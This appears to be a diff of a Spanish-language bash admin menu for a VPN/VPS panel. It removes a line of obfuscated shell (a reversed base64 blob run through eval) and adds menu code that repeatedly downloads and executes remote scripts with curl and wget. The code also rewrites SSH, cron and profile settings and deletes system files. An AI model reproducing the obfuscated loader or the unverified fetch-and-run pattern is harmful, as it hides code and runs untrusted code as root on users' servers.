pJ3Yz9SMwQWard3byR2Lt92YuEWZ0l2Zv8iOzBHd0hmIgc2ct9ycl1WYn9iczV3Lg8ULgQXZndXCKsHImYCId1FInNXbvMXZtF2ZvI3c19CIl1CIhAyWbpgC9pgclR3ch1Gbv9Gdv4Wai9CIyVGdzFWbs92b09yY0V2LgMXLg4GbJogclR3ch1Gbv9Gdv4Wai9CImJXLg0mcJoAbsVnbvYXZk9CI+YCIiIXZ0NXYtx2bvR3Lz9GduVWblxGct92Qv4Wah12LoNmbhJnYvcXYy9SMrRGdwlmcjN3LxADZpt2dvJHZv02bj5SYlRXan9yL6MHc0RHaiAiclR3ch1Gbv9GdvMGdl9CIP1CI0V2Z3lgC7BiJmASXdBiclR3ch1Gbv9GdvMGdl9CIl1CIhAyWbpgCnUGdpxWLtRWYvMGdl9yJ90FMbJXakNnCKg2chJ2LulmYvEyI | r";fwdfogtnqpIMMUsmnwgdtMOLFFCxBWqSdOJzwPYLVMdpbHbTZUFNpVApuxDETgWgeFnufDycShjiPUcsikjPqnhHKBqwuNZdnshY="gDLYBgJZPlpxcsZkibmXJgfyssaVZCPSRxXOXyUCJMNTURUCzsHgZnPPQmdkhRvMoKSFABhWlixevNvZwzgTnsKzzPBBbHPtyReD";pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh="";FnGBNeugNYABidbQCynMIVRNbsKwgmOPwByEuxhWbrxMSSpZDtvjtsjMiFKAqOLITvxzNCtdmLMHYYqDvdWJjBEcbVSrqxRxWfTj="as";XXKTPARgnGiyMFSwQnwfFIyFEiGQbaokmhbCjnqoVoYiNHOnXHKeWcCIZCHcHSmAYvZOCcuIxgqsJJzLwLAnYoDjOzsJyxXprycW="bYpEbrsrmZyxYuFSfDuCugmsWcpkRPxHWOqvRzdwbfcbdsQhUBCxRSegsxesHlBWjvmjGPjYfydnbbXFehFwlOMdfAlivBCoKjNQ";fEDNlUsyqbvgviPOUBGfBBfRKCqkvjLGSwrebAhaxzYWRjUUJJwgXhLaRkSTolZRgAxbkzyOokeHIWTBORQhTxildChnmYrmOxiD="NPBASdsCESyyUloPQCeNnhxifSloPQEkiqNdRVigMMWUCLWbjGFSSJybBtuGanSeGjLUoSUfNdNlTVSpuDSiRBFqHlIQJmKmAmow";oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ="o";XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb="6";vWytCcVlNyoQQeEseRbxcRaSvWkjNGpGpwmqmnnUDniKWYGtNqxGgtcfTOhXVOPUFdiqKArFsTHHLmlxTumjHKudxNLCEDgmSNGQ="rYEDVCMAbiKMwywSEISLUGtPDvGbGAKzDHQcKEauKVSrvyeOHFoVJqPacZzQwLGmWQaLyDBxnNnzOiRxivcLDSRXHgpTSbUvXJgO";AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG=" -d";ACWUcabIAjcNbvDeezBiRHvXHjEBcUUPerOakYyZzJfNXjcsmBKYvfMCKbouwFbKtCpgLTcHdnSijAqlwBwmSLnsrbcgSSyzjKby="UKzNMoTKCjDbYwBJkcNSPBAYfQoQRcIWcQEtTGdtpsBsyHjGuWBywUUADNEKIVnaJxpaImFUkYxrilhVkEODrXLGIFemvbPMJviG";mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ="";OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD="b";hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV="e";mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ="v |";Tx=Eds;epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd="";lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw=$(eval "$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ$dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd$FnGBNeugNYABidbQCynMIVRNbsKwgmOPwByEuxhWbrxMSSpZDtvjtsjMiFKAqOLITvxzNCtdmLMHYYqDvdWJjBEcbVSrqxRxWfTj$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr$AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd");eval "$mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ$lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB" \ No newline at end of file + +[[ -e /bin/ejecutar/msg ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg) || source /bin/ejecutar/msg +start_menu () { +local mem_total=$(free --mega -h | awk 'NR==2{printf $2}') +local mem_used=$(free --mega -h | awk 'NR==2{printf $3}') +local mem_free=$(free --mega -h | awk 'NR==2{printf $4}') +local mem_cache=$(free --mega -h | awk 'NR==2{printf $6}') +local mem_available=$(free --mega -h | awk 'NR==2{printf $7}') +local mem_used_percent=$(free --mega | awk 'NR==2{printf "%.2f%%", $3*100/$2 }') + +local swap=$(swapon -s) +local swap_total=$(free --mega -h | awk 'NR==3{printf $2}') +local swap_used=$(free --mega -h | awk 'NR==3{printf $3}') +local swap_free=$(free --mega -h | awk 'NR==3{printf $4}') +local cpu_used="$(top -b -n1 | grep 'Cpu(s)' | awk '{print $2 + $4}')"% +local _os="\033[1;31m$(cat /etc/issue | cut -d " " -f 1,2 | head -1| tr a-z A-Z)" +local tmp_distro=($(lsb_release -d |cut -f2 | tr a-z A-Z)) + +local distro="${tmp_distro[0]} ${tmp_distro[1]}" + +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" +#SE CAMBIAN VARIABLES A ANTES DE LLENAR CACHE Y CPU ( MAQUILLAJE COMO OTROS MODS ) +source /etc/scpdk1/cabecalho "ports_" +## +[[ -z "$(cat /etc/crontab | grep 'ejecutar')" ]] && _opti="\033[0;31m [OFF]" || _opti="\033[0;31m [\033[0;32mON\033[0;31m]" +[[ -e /etc/bash.bashrc-bakup ]] && _autorun="\033[0;31m [\033[0;32mON\033[0;31m] " || _autorun="\033[0;31m [OFF]" +[[ -e /etc/systemd/system/killadm.service ]] && lmt="\033[0;31m [\033[0;32mON\033[0;31m] " || lmt="\033[0;31m [OFF]" +msg -bar +echo -e "\033[1;34m ${TOP}\033[1;31m TOTAL:\033[1;32m ${mem_total}\033[1;34m ${TOP} \033[1;31m Libre:\033[1;32m ${mem_free} \033[1;34m ${TOP} \033[1;31m Usada:\033[1;32m ${mem_used}" +echo -e "\033[1;34m ${TOP}\033[1;31m Uso RAM:\033[1;32m${mem_used_percent} \033[1;34m${TOP}\033[1;31m Uso CPU:\033[1;32m${cpu_used} \033[1;34m ${TOP}\033[1;31m Cache:\033[1;32m ${mem_cache}" # $CPU"%" +msg -bar +echo -e "\033[0;35m [${cor[2]}01\033[0;35m]\033[0;33m ${flech}${cor[3]} CONTROL USUARIOS (SSH/SSL/VMESS) " +echo -e "\033[0;35m [${cor[2]}02\033[0;35m]\033[0;33m ${flech}${cor[3]} HERRAMIENTAS (\033[0;34mBad/VPN$_badvpn${cor[3]}) (\033[0;34mTCP-SPEED$_tcpspeed${cor[3]})" +echo -e "\033[0;35m [${cor[2]}03\033[0;35m]\033[0;33m ${flech}${cor[3]}\033[0;33m [!]${cor[3]} OPTIMIZAR VPS ${_opti}" +echo -e "\033[0;35m [${cor[2]}04\033[0;35m]\033[0;33m ${flech}${cor[3]}\033[0;33m [!]\033[0;31m DESINSTALAR SCRIPT" +echo -e "\033[0;35m [${cor[2]}06\033[0;35m]\033[0;33m ${flech}${cor[3]} CONTADOR ONLINE USERS $VERIFICAR_PID" +echo -e "\033[0;35m [${cor[2]}07\033[0;35m]\033[0;33m ${flech}${cor[3]} \e[3;32mHERRAMIENTAS BETA\e[0m \033[0;33m (#EXPERIMENTAL)" +echo -e "\033[0;35m [${cor[2]}08\033[0;35m]\033[0;33m ${flech}${cor[3]} AUTOINICIAR SCRIPT $_autorun" +echo -e "\033[0;35m [${cor[2]}09\033[0;35m]\033[0;33m ${flech}${cor[3]} INSTALADOR DE PROTOCOLOS " +msg -bar +echo -ne "\033[0;35m [${cor[2]}10\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] ${cor[2]}UPDATE / \033[0;31mREMOVE${cor[3]} |" && echo -e " \033[0;35m [${cor[2]}0\033[0;35m]\033[0;33m ⇦ $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +msg -bar +#chekKEY &> /dev/null 2>&1 +} + +fun_teste(){ +bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/funciones.sh)" +} + +function removerv2ray(){ +BASE_SOURCE_PATH="https://multi.netlify.app" +UTIL_PATH="/etc/v2ray_util/util.cfg" +UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg" +BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray" +CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh" +source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove +source <(curl -sL https://git.io/JeSZL) --remove +bash <(curl -L -s https://multi.netlify.app/go.sh) --remove -x >/dev/null 2>&1 +rm -rf /etc/v2ray >/dev/null 2>&1 +rm -rf /var/log/v2ray >/dev/null 2>&1 +rm -rf /etc/xray >/dev/null 2>&1 +rm -rf /var/log/xray >/dev/null 2>&1 +bash <(curl -L -s $CLEAN_IPTABLES_SHELL) +pip uninstall v2ray_util -y +rm -rf /usr/share/bash-completion/completions/v2ray.bash >/dev/null 2>&1 +rm -rf /usr/share/bash-completion/completions/v2ray >/dev/null 2>&1 +rm -rf /usr/share/bash-completion/completions/xray >/dev/null 2>&1 +rm -rf /etc/bash_completion.d/v2ray.bash >/dev/null 2>&1 +rm -rf /usr/local/bin/v2ray >/dev/null 2>&1 +rm -rf /etc/v2ray_util >/dev/null 2>&1 +crontab -l|sed '/SHELL=/d;/v2ray/d'|sed '/SHELL=/d;/xray/d' > crontab.txt +crontab crontab.txt >/dev/null 2>&1 +rm -f crontab.txt >/dev/null 2>&1 +systemctl restart cron >/dev/null 2>&1 +exit +} +sfix () { +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/sourcesfix.sh) +} +trofix(){ +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/mod-v2ray.sh) +} +autoop(){ +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" +msg -bar +echo -e "${cor[2]} \033[1;32mESTA FUNCION AGREGARA EN EL CRONTAB UN AUTOEJECUCION" +echo -e "${cor[2]} \033[1;32m. Este Metodo Optimizara y limpiara Tu SERVIDOR" +echo -e "${cor[2]} \033[1;32mDe manera automatica para evitar Lags y lentitud cada 5/" +echo -e "${cor[2]} \033[1;32mSI ESTAS DE ACUERDO, PRESIONA 1, CASO CONTRARIO 0" +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} ACTIVAR AUTOLIMPIEZA ( AUTO OPTIMIZACIONES )" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESACTIVAR MOD DE LIMPIEZAS ( APAGA OPCION 1 )" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ Salir ]\e[0m")" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +0) +clear&&clear && echo -e "${cor[0]}" +return +;; +1) clear&&clear +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" +echo " Desabilitando Servicios de AutOptimizacion" && sed -i "/ejecutar/d" /etc/crontab +echo -ne " VERIFICANDO SISTEMA......" +if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tumbs.sh &>/dev/null -O /usr/bin/autotumbs &>/dev/null ; then +echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar +chmod +x /usr/bin/autotumbs &>/dev/null +autotumbs --start +#rm -rf /usr/bin/autotumbs +else +echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar +sleep 2s +return +fi +msg -bar +echo -e " INGRESA TU NOMBRE DE BACKUP / 0 PARA CANCELAR" +read -p " NOMBRE : " bkp +[[ ${bkp} = 0 ]] && return +echo $bkp > /bin/ejecutar/autt +[[ -e /bin/ejecutar/autt ]] && name=$(cat < /bin/ejecutar/autt) +echo " Nombre $name Cargado Exitosamente" +echo -e " Nombre $name Cargado Exitosamente " +echo -e "Ahora accede a http://$(wget -qO- ipv4.icanhazip.com):81/$name " +echo -e " AQUI ENCONTRARAS TU FICHERO ONLINE" +service apache2 restart +read -p "Enter para Continuar" +;; +2) +echo -e "Desabilitando Servicios de AutOptimizacion" +echo -ne " VERIFICANDO SISTEMA......" +if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tumbs.sh &>/dev/null -O /usr/bin/autotumbs &>/dev/null ; then +echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar +chmod +x /usr/bin/autotumbs &>/dev/null +autotumbs --stop +#rm -rf /usr/bin/autotumbs +else +echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar +sleep 2s +return +fi +[[ -e /bin/ejecutar/autt ]] && name=$(cat < /bin/ejecutar/autt) +[[ -z $name ]] && return +[[ -e /bin/ejecutar/autt ]] && rm -f /bin/ejecutar/autt +[[ -e /var/www/html/$name ]] && rm -f /var/www/html/$name +;; +esac +} +bbr () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tcp.sh) +} +function tls13(){ +apt-get install -y git autoconf libtool +git clone https://github.com/wolfssl/wolfssl.git +cd wolfssl/ +./autogen.sh +./configure --enable-sha512 +make +make install +ldconfig +./configure --enable-stunnel --enable-tls13 +make +make install +ldconfig +service stunnel4 restart +cd /root +} +clash-man () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh) +} +fixssh () { +unset portserv +echo -e "" +echo -e " ESTO RECONFIGURA TU OPENSSH A CUSTOM " +echo -e "" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +echo -e " Digita N/n PARA RETORNAR" +read -p " [S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +sshfix="/etc/ssh/sshd_config" +msg -bar && echo -e " INGRESA TU PUERTO OpenSSH " +read -p " Defauld ( 22 ) : " -e -i '22' portserv +sed -i "/Port /d" ${sshfix} +sed -i "1i Port ${portserv}" $sshfix +msg -bar +echo " OpenSSH ALTERADO A -> ${portserv}" +echo -ne " \033[1;31m[ ! ] DETENIENDO DROPBEAR -> 22" | pv -qL 40 +service dropbear stop > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear stop > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +echo -ne " \033[1;31m[ ! ] REINICIANDO OpenSSH" | pv -qL 40 +service sshd restart > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +echo -ne " \033[1;31m[ ! ] RESTAURANDO PUERTOS DROPBEAR" | pv -qL 40 +service dropbear restart > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +msg -bar +echo -e "REINICIANDO VPS" +sleep 0.5s +echo -e " Mejor Reiniciamos los Servicios!!! + Si eso dio error + Dijita manualmente en consola \033[0;32m( sudo reboot ) " +exit 0 +fi +} +xswap () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/swapfile.sh) +} +mpro () { +msg -bar +echo -e " MOSTRANDO 25 PROCESOS ACTIVOS EN VPS" +msg -bar +#ps aux --width 30 --sort -rss | head +ps -Ao user,uid,comm,pid,pcpu,pmem --sort=-pcpu | head -n 25 +read -p "Ingresa nombre de proceso a Destruir, ( no Dropbear, no SSH ) : " df +[ -z "$df" ] && df="kswapd0" +pidkill='ps x | grep -v grep | grep $df' +killall $df > /dev/null 2>&1 +#pidkill='ps x | grep -v grep | grep $df' +ps aux | grep -v grep | grep $df +echo "Proceso Liberado Exitosamente" +killall kswapd0 > /dev/null 2>&1 +killall tcpdump > /dev/null 2>&1 +killall ksoftirqd > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +killall menu > /dev/null 2>&1 +} +function goinst(){ +echo -e "A continuacion se instalara el paquete GO Lang" +msg -bar +echo -e " \033[41m-- SISTEMA ACTUAL $(lsb_release -si) $(lsb_release -sr) --" +msg -bar +#fun_bar "apt install golang -y" +cd $HOME +echo "DESACIENDO DIRECTORIOS EXISTENTES" && rm -rf /usr/local/go 1> /dev/null 2> /dev/null +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +msg -bar +echo -e " PROCESADOR ARM DETECTADO " +msg -bar +echo +wget -O golang.tar.gz https://go.dev/dl/go1.20.1.linux-arm64.tar.gz +echo +msg -bar +} || wget -O golang.tar.gz https://go.dev/dl/go1.20.1.linux-amd64.tar.gz +echo -ne "Descomprimiendo Ultimo paquete Descargado" +#sudo tar -xvf golang.tar.gz &> /dev/null && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +rm -rf /usr/local/go && tar -C /usr/local -xzf golang.tar.gz +#sudo mv go /usr/local # Desplazar los binarios hacia /usr/local +cat ~/.profile | grep -v 'export PATH=$PATH:/usr/local/go/bin' > ~/.profile.tmp +mv ~/.profile.tmp ~/.profile +chmod +x ~/.profile +echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.profile # Se actualiza su perfil bash para que Go este en el PATH +sleep 0.5s +echo -e "Reiniciando Fuente de Terminal..." +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +rm -f golang.* +source ~/.profile +} +ssrmenu() { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/trojan-nao.sh) +} +btorrent () { +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) +} +chora () { +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/hora.sh) +} + +crea_pay () { +[[ -z /bin/ejecutar/Irparpaya-a/real-host-v2.sh ]] && { +echo -e "A continuacion se instalara los Paquetes Necesarios" +echo -e "Sea Paciente mientas completamos el Proceso " +echo -e "Deseas Continuar?" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo -e "Instalando..." +cd +fun_bar "" +apt update -y && apt upgrade -y 1> /dev/null 2> /dev/null +pkg install git -y 1> /dev/null 2> /dev/null +apt install git -y 1> /dev/null 2> /dev/null +cd /bin/ejecutar/ +[[ -e /bin/ejecutar/Irparpaya-a/real-host-v2.sh ]] && rm -rf /bin/ejecutar/Irparpaya-a +git clone https://github.com/HackeRStrategy/Irparpaya-a && fun_bar && echo "Clonando del SITIO OFICIAL DEVELOPER" || echo "Fallo al Clonar" +cd Irparpaya-a && echo "Procedimiento Completado Exitosamente" +sleep 1s +bash real-host-v2.sh +fi +} || { +/bin/bash /bin/ejecutar/Irparpaya-a/real-host-v2.sh +} +} + +function removerbadvpn(){ +badvpn stop +killall $(which badvpn-udpgw) +rm -f $(which badvpn-udpgw) > /dev/null +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} + +function removetrojan(){ +killall trojan > /dev/null +[[ -d /usr/local/etc/trojan ]] && rm -rf /usr/local/etc/trojan > /dev/null +[[ -d /etc/scpdk1/trojancert ]] && rm -rf /etc/scpdk1/trojancert > /dev/null +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} + +function removerfail2ban(){ +apt-get purge fail2ban -y +apt-get remove fail2ban -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerstunnel(){ +service stunnel4 stop 1> /dev/null 2> /dev/null +killall stunnel4 1> /dev/null 2> /dev/null +apt-get -y purge stunnel4 1> /dev/null 2> /dev/null +apt-get -y remove stunnel4 1> /dev/null 2> /dev/null +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerwebmin(){ +apt-get purge webmin -y +apt-get remove webmin -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerpython(){ +ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python") +if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then +echo -e "NO EXITEN PUERTOS" + else + ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}') + for i in $ck_port; do + systemctl stop python.${i} &>/dev/null + systemctl disable python.${1} &>/dev/null + rm /etc/systemd/system/python.${i}.service &>/dev/null + done +msg -bar +fi +killall python +pkill python +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removershadowsocks(){ +wget --no-check-certificate -O libev.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh > /dev/null 2>&1 +chmod +x libev.sh +./libev.sh uninstall +rm -rf libev.sh +cd /root +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerdropbear(){ +service dropbear stop +apt-get purge dropbear -y +apt-get remove dropbear -y +service dropbear stop +/etc/init.d/dropbear stop +killall dropbear +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removeropenvpn(){ +apt-get purge openvpn -y +apt-get remove openvpn -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerlibs32(){ +apt-get purge ia32-libs -y +apt-get remove ia32-libs -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removernginx(){ +apt-get purge nginx -y +apt-get remove nginx -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removersquid(){ +apt-get purge squid -y +apt-get remove squid -y +apt-get purge squid3 -y +apt-get remove squid3 -y +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} +function removerv2ui(){ +systemctl stop v2-ui +systemctl disable v2-ui +rm /etc/systemd/system/v2-ui.service -f +systemctl daemon-reload +systemctl reset-failed +rm /etc/v2-ui/ -rf +rm /usr/local/v2-ui/ -rf +killall v2-ui &> /dev/null 2>&1 +[[ -e /usr/bin/v2-ui ]] && rm -f /usr/bin/v2-ui +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} + +function mtraff(){ +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m" +echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m" +msg -bar +echo -e "${cor[2]} ⇜ Comsumo de INTERNET TOTAL EN VPS ⇝ ⇅" +down=($(ifconfig $(ip route | grep default | awk '{print $5}') | grep -o "(.*)" )) +download_down=$(echo 